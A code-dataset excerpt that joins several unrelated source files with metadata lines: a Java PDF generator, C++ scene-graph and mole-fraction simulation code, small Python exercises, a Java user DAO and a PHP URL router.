cell.setFixedHeight(30); table.addCell(cell); // LANGUAGE cell = new PdfPCell(); paragraph = new Paragraph("Lang: ", tableFontNormal); cell.addElement(paragraph); cell.setFixedHeight(25f); cell.setPaddingBottom(8); table.addCell(cell); cell = new PdfPCell(); paragraph = new Paragraph(theBook.getLanguage().toUpperCase(), tableFontBold); cell.addElement(paragraph); cell.setFixedHeight(25f); cell.setPaddingBottom(8); table.addCell(cell); // PAGES cell = new PdfPCell(); paragraph = new Paragraph("Pages: ", tableFontNormal); cell.addElement(paragraph); cell.setFixedHeight(25f); cell.setPaddingBottom(8); table.addCell(cell); cell = new PdfPCell(); String stringPages = String.valueOf(theBook.getPages()); paragraph = new Paragraph(stringPages, tableFontBold); cell.addElement(paragraph); cell.setFixedHeight(25f); cell.setColspan(2); cell.setPaddingBottom(8); table.addCell(cell); // FOOTER cell = new PdfPCell(); paragraph = new Paragraph("Generated by: " + userName + " at " + sdf.format(new Date()), tableFontNormal); paragraph.setAlignment(Element.ALIGN_CENTER); cell.addElement(paragraph); cell.setColspan(5); cell.setPaddingBottom(8); table.addCell(cell); document.add(table); document.close(); } catch (BadElementException e1) { e1.printStackTrace(); } catch (MalformedURLException e1) { e1.printStackTrace(); } catch (IOException e1) { e1.printStackTrace(); } catch (DocumentException e) { e.printStackTrace(); } return tempFile; } }
C++
UTF-8
996
2.71875
3
[]
no_license
/* * Node.h * * Created on: 22 May 2014 * Author: Adam Kosiorek */ #ifndef NODE_H_ #define NODE_H_ #include "Movable.h" #include "typedefs.h" #include <glm/glm.hpp> #include <memory> #include <list> class IMesh; class Node : public Movable { protected: typedef std::list<NodePtr> NodeList; public: Node(MeshPtr mesh = nullptr); virtual ~Node() = default; virtual void draw(const glm::mat4& transform = glm::mat4(1.0f), double elapsedTime = 0); virtual void translate(float x, float y = 0, float z = 0) override; virtual void rotate(Axis axis, float deg) override; virtual void scale(float x, float y = 0, float z = 0) override; void addChild(NodePtr node = nullptr); NodeList& getChildren(); MeshPtr getMesh(); void setMesh(const MeshPtr& mesh); const glm::mat4& getTransform() const; void setTransform(const glm::mat4& transform); protected: NodeList nodes_; MeshPtr mesh_; glm::mat4 transform_; }; typedef std::shared_ptr<Node> NodePtr; #endif /* NODE_H_ */
C++
UTF-8
12,741
2.546875
3
[]
no_license
#ifndef CHARON_MOLEFRACTION_FUNCTION_IMPL_HPP #define CHARON_MOLEFRACTION_FUNCTION_IMPL_HPP #include <algorithm> #include <iostream> #include <fstream> #include <cmath> #include "Teuchos_ParameterList.hpp" #include "Teuchos_Assert.hpp" #include "Teuchos_TestForException.hpp" #include "Panzer_Workset.hpp" #include "Panzer_Workset_Utilities.hpp" #include "Panzer_IntegrationRule.hpp" #include "Charon_Names.hpp" /* Mole Fraction specification is similar to that of Doping, except that Mole Fraction currently supports only Linear and Uniform profiles. An example of specifying Mole Fraction is given below: <ParameterList name="Mole Fraction"> <Parameter name="Value" type="string" value="Function"/> <ParameterList name="Function 1"> <Parameter name="Function Type" type="string" value="Linear"/> <Parameter name="Mole Start Value" type="double" value="0.3"/> <Parameter name="Mole End Value" type="double" value="0.0"/> <Parameter name="Xmin" type="double" value="0.3"/> <Parameter name="Xmax" type="double" value="0.7"/> </ParameterList> <ParameterList name="Function 2"> <Parameter name="Function Type" type="string" value="Uniform"/> <Parameter name="Mole Value" type="double" value="0.3"/> <Parameter name="Xmin" type="double" value="-4.0"/> <Parameter name="Xmax" type="double" value="-3.5"/> <Parameter name="Ymin" type="double" value="-0.2"/> <Parameter name="Ymax" type="double" value="0.0"/> </ParameterList> </ParameterList> */ namespace charon { void uniformMoleFracParams::parseUniform (const Teuchos::ParameterList& plist) { using Teuchos::ParameterList; using std::string; value = plist.get<double>("Mole Value"); xmin = -1e100, ymin = -1e100, zmin = -1e100; xmax = 1e100, ymax = 1e100, zmax = 1e100; if ((value < 0.) || (value > 1.)) TEUCHOS_TEST_FOR_EXCEPTION(true, std::logic_error, std::endl << "Error ! Mole Value must be within [0 1] !"); if (plist.isParameter("Xmin")) xmin = plist.get<double>("Xmin"); if (plist.isParameter("Xmax")) xmax = plist.get<double>("Xmax"); if (plist.isParameter("Ymin")) ymin = plist.get<double>("Ymin"); if (plist.isParameter("Ymax")) ymax = plist.get<double>("Ymax"); if (plist.isParameter("Zmin")) zmin = plist.get<double>("Zmin"); if (plist.isParameter("Zmax")) zmax = plist.get<double>("Zmax"); } void linearMoleFracParams::parseLinear (const Teuchos::ParameterList& plist, const int num_dim) { using std::string; using Teuchos::ParameterList; startVal = plist.get<double>("Mole Start Value"); endVal = plist.get<double>("Mole End Value"); if ((startVal < 0.) || (startVal > 1.)) TEUCHOS_TEST_FOR_EXCEPTION(true, std::logic_error, std::endl << "Error ! Mole Start Value must be within [0 1] !"); if ((endVal < 0.) || (endVal > 1.)) TEUCHOS_TEST_FOR_EXCEPTION(true, std::logic_error, std::endl << "Error ! Mole End Value must be within [0 1] !"); testcoord("X", plist, x_min, x_max, x_checkAxis); if (num_dim == 2) testcoord("Y", plist, y_min, y_max, y_checkAxis); if (num_dim == 3) { testcoord("Y", plist, y_min, y_max, y_checkAxis); testcoord("Z", plist, z_min, z_max, z_checkAxis); } } void linearMoleFracParams::testcoord (const std::string axis, const Teuchos::ParameterList& plist, double& min, double& max, bool& checkAxis) { checkAxis = false; if (plist.isParameter(axis+"min") || plist.isParameter(axis+"max")) { checkAxis = true; min = -1e100, max = 1e100; if (plist.isParameter(axis+"min")) min = plist.get<double>(axis+"min"); if (plist.isParameter(axis+"max")) max = plist.get<double>(axis+"max"); } } /////////////////////////////////////////////////////////////////////////////// // // Constructor // /////////////////////////////////////////////////////////////////////////////// template<typename EvalT, typename Traits> MoleFraction_Function<EvalT, Traits>:: MoleFraction_Function( const Teuchos::ParameterList& p) { using std::string; using Teuchos::RCP; using Teuchos::ParameterList; using PHX::DataLayout; using PHX::MDField; using panzer::IntegrationRule; using panzer::BasisIRLayout; const charon::Names& n = *(p.get< Teuchos::RCP<const charon::Names> >("Names")); // IP RCP<IntegrationRule> ir = p.get< RCP<IntegrationRule> >("IR"); RCP<DataLayout> scalar = ir->dl_scalar; RCP<DataLayout> vector = ir->dl_vector; int_rule_degree = ir->cubature_degree; num_ip = vector->dimension(1); num_dim = vector->dimension(2); // basis RCP<BasisIRLayout> basis = p.get<RCP<BasisIRLayout> >("Basis"); RCP<DataLayout> basis_scalar = basis->functional; basis_name = basis->name(); num_basis = basis_scalar->dimension(1); // mole fraction parameterlist moleFracParamList = p.sublist("Mole Fraction ParameterList"); // evaluated fields molefrac = MDField<ScalarT,Cell,IP>(n.field.mole_frac,scalar); molefrac_basis = MDField<ScalarT,Cell,BASIS>(n.field.mole_frac,basis_scalar); this->addEvaluatedField(molefrac); this->addEvaluatedField(molefrac_basis); std::string name = "MoleFraction_Function"; this->setName(name); for (ParameterList::ConstIterator model_it = moleFracParamList.begin(); model_it != moleFracParamList.end(); ++model_it) { const string key = model_it->first; if (key.compare(0, 8, "Function") == 0) { const Teuchos::ParameterEntry& entry = model_it->second; const ParameterList& funcParamList = Teuchos::getValue<Teuchos::ParameterList>(entry); const string funcType = funcParamList.get<string>("Function Type"); if (funcType == "Uniform") { uniformMoleFracParams umfp_; umfp_.parseUniform(funcParamList); umfp_vec.push_back(umfp_); } if (funcType == "Linear") { linearMoleFracParams lmfp_; lmfp_.parseLinear(funcParamList,num_dim); lmfp_vec.push_back(lmfp_); } } // end of if (key.compare(0, 8, "Function") == 0) } // end of for loop } /////////////////////////////////////////////////////////////////////////////// // // postRegistrationSetup() // /////////////////////////////////////////////////////////////////////////////// template<typename EvalT, typename Traits> void MoleFraction_Function<EvalT, Traits>:: postRegistrationSetup( typename Traits::SetupData sd, PHX::FieldManager<Traits>& /* fm */) { int_rule_index = panzer::getIntegrationRuleIndex(int_rule_degree,(*sd.worksets_)[0]); basis_index = panzer::getBasisIndex(basis_name,(*sd.worksets_)[0]); } /////////////////////////////////////////////////////////////////////////////// // // evaluateFields() // /////////////////////////////////////////////////////////////////////////////// template<typename EvalT, typename Traits> void MoleFraction_Function<EvalT, Traits>:: evaluateFields( typename Traits::EvalData workset) { using panzer::index_t; for (index_t cell = 0; cell < workset.num_cells; ++cell) { // x mole fraction at IPs for (int ip = 0; ip < num_ip; ++ip) { double x = (workset.int_rules[int_rule_index])->ip_coordinates(cell,ip,0); double y = 0.0, z = 0.0; if (num_dim == 2) y = (workset.int_rules[int_rule_index])->ip_coordinates(cell,ip,1); if (num_dim == 3) { y = (workset.int_rules[int_rule_index])->ip_coordinates(cell,ip,1); z = (workset.int_rules[int_rule_index])->ip_coordinates(cell,ip,2); } // evaluate the x mole fraction double value = evaluateMoleFraction(x,y,z); molefrac(cell,ip) = value; } // x mole fraction at basis points for (int basis = 0; basis < num_basis; ++basis) { double x = (workset.bases[basis_index])->basis_coordinates(cell,basis,0); double y = 0.0, z = 0.0; if (num_dim == 2) y = (workset.bases[basis_index])->basis_coordinates(cell,basis,1); if (num_dim == 3) { y = (workset.bases[basis_index])->basis_coordinates(cell,basis,1); z = (workset.bases[basis_index])->basis_coordinates(cell,basis,2); } double value = evaluateMoleFraction(x,y,z); molefrac_basis(cell,basis) = value; } } // end of loop over cells } /////////////////////////////////////////////////////////////////////////////// // // evaluateMoleFraction() // /////////////////////////////////////////////////////////////////////////////// template<typename EvalT, typename Traits> double MoleFraction_Function<EvalT, Traits>::evaluateMoleFraction (const double& x, const double& y, const double& z) { using std::string; using Teuchos::ParameterList; double mfValue = 0.0; double tempVal = 0.0; for (std::size_t i = 0; i < umfp_vec.size(); ++i) { tempVal = evalUniformMoleFrac(x,y,z,umfp_vec[i]); mfValue += tempVal; } for (std::size_t i = 0; i < lmfp_vec.size(); ++i) { tempVal = evalLinearMoleFrac(x,y,z,lmfp_vec[i]); mfValue += tempVal; } return mfValue; } /////////////////////////////////////////////////////////////////////////////// // // evalUniformMoleFrac() // /////////////////////////////////////////////////////////////////////////////// template<typename EvalT, typename Traits> double MoleFraction_Function<EvalT, Traits>::evalUniformMoleFrac (const double& x, const double& y, const double& z, const uniformMoleFracParams& umfp) { using std::string; using Teuchos::ParameterList; double mfValue = 0.0; const double val = umfp.value; const double xmin = umfp.xmin; const double ymin = umfp.ymin; const double zmin = umfp.zmin; const double xmax = umfp.xmax; const double ymax = umfp.ymax; const double zmax = umfp.zmax; if ( (x >= xmin) && (x <= xmax) && (y >= ymin) && (y <= ymax) && (z >= zmin) && (z <= zmax) ) mfValue = val; // return 0 if (x,y,z) is outside the box region return mfValue; } /////////////////////////////////////////////////////////////////////////////// // // evalLinearMoleFrac() // /////////////////////////////////////////////////////////////////////////////// template<typename EvalT, typename Traits> double MoleFraction_Function<EvalT, Traits>::evalLinearMoleFrac (const double& x, const double& y, const double& z, const linearMoleFracParams& lmfp) { using std::string; using Teuchos::ParameterList; double mfValue = 0.0; const double startVal = lmfp.startVal; const double endVal = lmfp.endVal; // x direction const double x_min = lmfp.x_min; const double x_max = lmfp.x_max; const bool x_checkAxis = lmfp.x_checkAxis; // y direction const double y_min = lmfp.y_min; const double y_max = lmfp.y_max; const bool y_checkAxis = lmfp.y_checkAxis; // z direction const double z_min = lmfp.z_min; const double z_max = lmfp.z_max; const bool z_checkAxis = lmfp.z_checkAxis; bool found = false; double xLinearVal = 1.0, yLinearVal = 1.0, zLinearVal = 1.0; xLinearVal = evalSingleLinear("X", found, x, x_min, x_max, x_checkAxis); if (num_dim == 2) yLinearVal = evalSingleLinear("Y", found, y, y_min, y_max, y_checkAxis); if (num_dim == 3) { yLinearVal = evalSingleLinear("Y", found, y, y_min, y_max, y_checkAxis); zLinearVal = evalSingleLinear("Z", found, z, z_min, z_max, z_checkAxis); } // throw exception if NO Linear profile is specified if (!found) TEUCHOS_TEST_FOR_EXCEPTION(true, std::logic_error, "Error! No linear function is specified " << "for Function Type = Linear! At least one linear function along " << "x, y, or z must be specified! "); if ( (xLinearVal >= 0.0) && (yLinearVal >= 0.0) && (zLinearVal >= 0.0) ) mfValue = startVal + (endVal-startVal)*xLinearVal*yLinearVal*zLinearVal; // return 0 if (x,y,z) is outside the box region return mfValue; } /////////////////////////////////////////////////////////////////////////////// // // evalSingleLinear() // /////////////////////////////////////////////////////////////////////////////// template<typename EvalT, typename Traits> double MoleFraction_Function<EvalT, Traits>::evalSingleLinear (const std::string /* axis */, bool& found, const double& coord, const double& min, const double& max, const bool& checkAxis) { // If Linear is NOT specified for a certain axis (say X), returns 1.0 double LinearVal = 1.0; // Linear is specified along a given axis if (checkAxis) { found = true; // if Linear is set along an axis, then found = true // within [min, max] range if ( (coord >= min) && (coord <= max) ) LinearVal = (coord-min)/(max-min); else LinearVal = -1.0; // -1 is a flag indicating outside the [min,max] range } return LinearVal; } } // namespace charon #endif
Python
UTF-8
1,977
2.625
3
[]
no_license
HORIZONTAL_S_BOX = [11, 5, 4, 15, 12, 6, 9, 0, 13, 3, 14, 8, 1, 10, 2, 7] HORIZONTAL_S_BOX256 = [] for byte in range(256): HORIZONTAL_S_BOX256.append((HORIZONTAL_S_BOX[byte >> 4] << 4) | HORIZONTAL_S_BOX[byte & 15]) HORIZONTAL_INVERSE_S_BOX256 = [0] * 256 for index in range(256): HORIZONTAL_INVERSE_S_BOX256[HORIZONTAL_S_BOX256[index]] = index def vertical_sbox(a, b, c, d): # 9 instructions """ Optimal 4x4 s-box implementation; Applies 64 s-boxes in parallel on the columns. """ t = a a = (a & b) ^ c c = (b | c) ^ d d = (d & a) ^ t b ^= c & t return a, b, c, d def permute_columns(a, b, c, d): return vertical_sbox(a, b, c, d) def permute_rows(a, b, c, d): a = permute_row(a); b = permute_row(b); c = permute_row(c); d = permute_row(d) return a, b, c, d def permute_row(word, mask=255, s_box=HORIZONTAL_S_BOX256): output = 0 output |= s_box[word & mask] output |= s_box[(word >> 8) & mask] << 8 output |= s_box[(word >> 16) & mask] << 16 output |= s_box[(word >> 24) & mask] << 24 return output def mix_bytes(a, b, c, d, shift=16, mask=(2 ** 32) - 1): a = (a ^ (b >> shift)) & mask c = (c ^ (d >> shift)) & mask a = (a ^ (b << shift)) & mask c = (c ^ (d << shift)) & mask return a, b, c, d def permutation(a, b, c, d): # s_box /\ 4 1 2 3 # | 3 4 1 2 # \/ 2 3 4 1 # ------- #s_box <--> 1 2 3 4 a, b, c, d = permute_columns(a, b, c, d) a, b, c, d = permute_rows(a, b, c, d) a, b, c, d = mix_bytes(a, b, c, d) a, b, c, d = mix_bytes(b, d, a, c) return a, b, c, d def visualize_permutation(): from crypto.analysis.visualization import test_4x32_function state = (1, 0, 0, 0) test_4x32_function(permutation, state) if __name__ == "__main__": visualize_permutation()
Python
UTF-8
416
4.15625
4
[]
no_license
def sqrt(x): """ Purpose: Approximate the square root of a given number, x. Pre-conditions: x: A non-negative number Post-conditions: (none) Return: a number y such that y*y is close to x. Note: if x is negative, the value None is returned """ if x < 0: return None else: y = 1.0 while abs(x - y*y) > 0.001: y = (y + x/y)/2.0 return y
Java
UTF-8
204
2.046875
2
[]
no_license
package nogi; public class ZetonSmoka { private int wartosc; public ZetonSmoka(int wartosc) { this.wartosc = wartosc; } public int zwrocWartosc() { return wartosc; } }
Python
UTF-8
468
3.5625
4
[]
no_license
# File: CornerFiveBeepers.py # ----------------------------- # Places five beepers in each corner from karel.stanfordkarel import * def main(): # Repeat once for each corner for i in range(4): put_five_beepers() move_to_next_corner() # reposition karel to the next corner def move_to_next_corner() : move() move() move() turn_left() # places 5 beepers using a for loop def put_five_beepers() : for i in range(5): put_beeper()
Java
UTF-8
3,959
2.828125
3
[]
no_license
package br.dengue.dao; //import java.sql.Connection; import br.dengue.modelo.User; import java.sql.*; import java.util.ArrayList; import java.util.Calendar; import java.util.List; public class UserDAO { private Connection connection; public UserDAO() throws ClassNotFoundException { this.connection = new ConnectionFactory().getConnection(); } public void adiciona(User users) { String sql = "insert into users " + "(nome,dtnascimento,nivel,usuario,senha)" + " values (?,?,?,?,?)"; try { // prepared statement para inserção PreparedStatement stmt = connection.prepareStatement(sql); // seta os valores stmt.setString(1, users.getNome()); stmt.setString(4, users.getUsuario()); stmt.setString(5, users.getSenha()); // executa stmt.execute(); stmt.close(); } catch (SQLException e) { throw new RuntimeException(e); } } public List<User> getLista() { try { List<User> userss = new ArrayList<User>(); PreparedStatement stmt = this.connection.prepareStatement("select * from users"); ResultSet rs = stmt.executeQuery(); while (rs.next()) { // criando o objeto User User users = new User(); users.setId(rs.getInt("id")); users.setNome(rs.getString("nome")); users.setUsuario(rs.getString("usuario")); users.setSenha(rs.getString("senha")); // adicionando o objeto à lista userss.add(users); } rs.close(); stmt.close(); return userss; } catch (SQLException e) { throw new RuntimeException(e); } } public void altera(User users) { String sql = "update users set nome=?,usuario=?, senha=? where id=?"; try { PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, users.getNome()); stmt.setString(4, users.getUsuario()); stmt.setString(5, users.getSenha()); stmt.setLong(6, users.getId()); stmt.execute(); stmt.close(); } catch (SQLException e) { throw new RuntimeException(e); } } public void remove(User users) { try { PreparedStatement stmt = connection.prepareStatement("delete from users where id=?"); stmt.setLong(1, users.getId()); stmt.execute(); stmt.close(); } catch (SQLException e) { throw new RuntimeException(e); } } public User getUsuario( String login, String senha ){ // Connection c = .getConnection(); //PreparedStatement ps = null; ResultSet rs = null; try{ PreparedStatement stmt = connection.prepareStatement("select id, nome from users where usuario = ? and senha = ?"); stmt.setString(1, login); stmt.setString(2, senha); rs = stmt.executeQuery(); if ( rs.next() ){ User users = new User(); users.setId( rs.getInt("id") ); users.setUsuario(login); users.setSenha(senha); users.setNome( rs.getString("nome") ); return users; } } catch (SQLException e){ e.printStackTrace(); } finally{ if (rs != null ) { try { rs.close(); } catch (SQLException e) { ; } rs = null; } } return null; } }
PHP
UTF-8
2,365
2.859375
3
[ "MIT" ]
permissive
<?php namespace hsm; class reg{ static private $result=array('get'=>array(),'any'=>array(),'post'=>array()); //存储路由结果 static private $pi; // PATH_INFO static function get($url_preg,$action){ $result_count = count(@self::$result['get']); self::$result['get'][$result_count][] = $url_preg; self::$result['get'][$result_count][] = $action; } static function any($url_preg,$action){ $result_count = count(@self::$result['any']); self::$result['any'][$result_count][] = $url_preg; self::$result['any'][$result_count][] = $action; } static function post($url_preg,$action){ $result_count = count(@self::$result['post']); self::$result['post'][$result_count][] = $url_preg; self::$result['post'][$result_count][] = $action; } static function main($path_info){ self::$pi = $path_info; } static function returnRoute() { if($_SERVER['REQUEST_METHOD'] =='GET'){ $userReturn = self::matchingGet(); }elseif( $_SERVER['REQUEST_METHOD'] =='POST'){ $userReturn = self::matchingPost(); } return ($userReturn); } static private function matchingGet(){ $getPreg = self::$result['get']; $pi = self::$pi; foreach( $getPreg as $k=>$v ){ // echo "#^".$v[0]."$#"; if( preg_match_all("#^".$v[0]."$#",$pi,$matches) ){ $result = $v[1]; break; } } if(!isset($result)){ return self::matchingAny(); } $matches = count($matches[0])>0?$matches:false; if( strpos($result,'$')!==false){ unset($matches[0]); foreach ($matches as $k=>$v){ $result = preg_replace('/\$'.$k.'/',$v[0],$result); } } return $result; } static private function matchingPost(){ } static private function matchingAny(){ $getPreg = self::$result['any']; $pi = self::$pi; foreach( $getPreg as $k=>$v ){ //echo "#^".$v[0]."$#"; if( preg_match("#^".$v[0]."$#",$pi) ){ $result = $v[1]; } } if(!isset($result)){ return false; } return $result; } }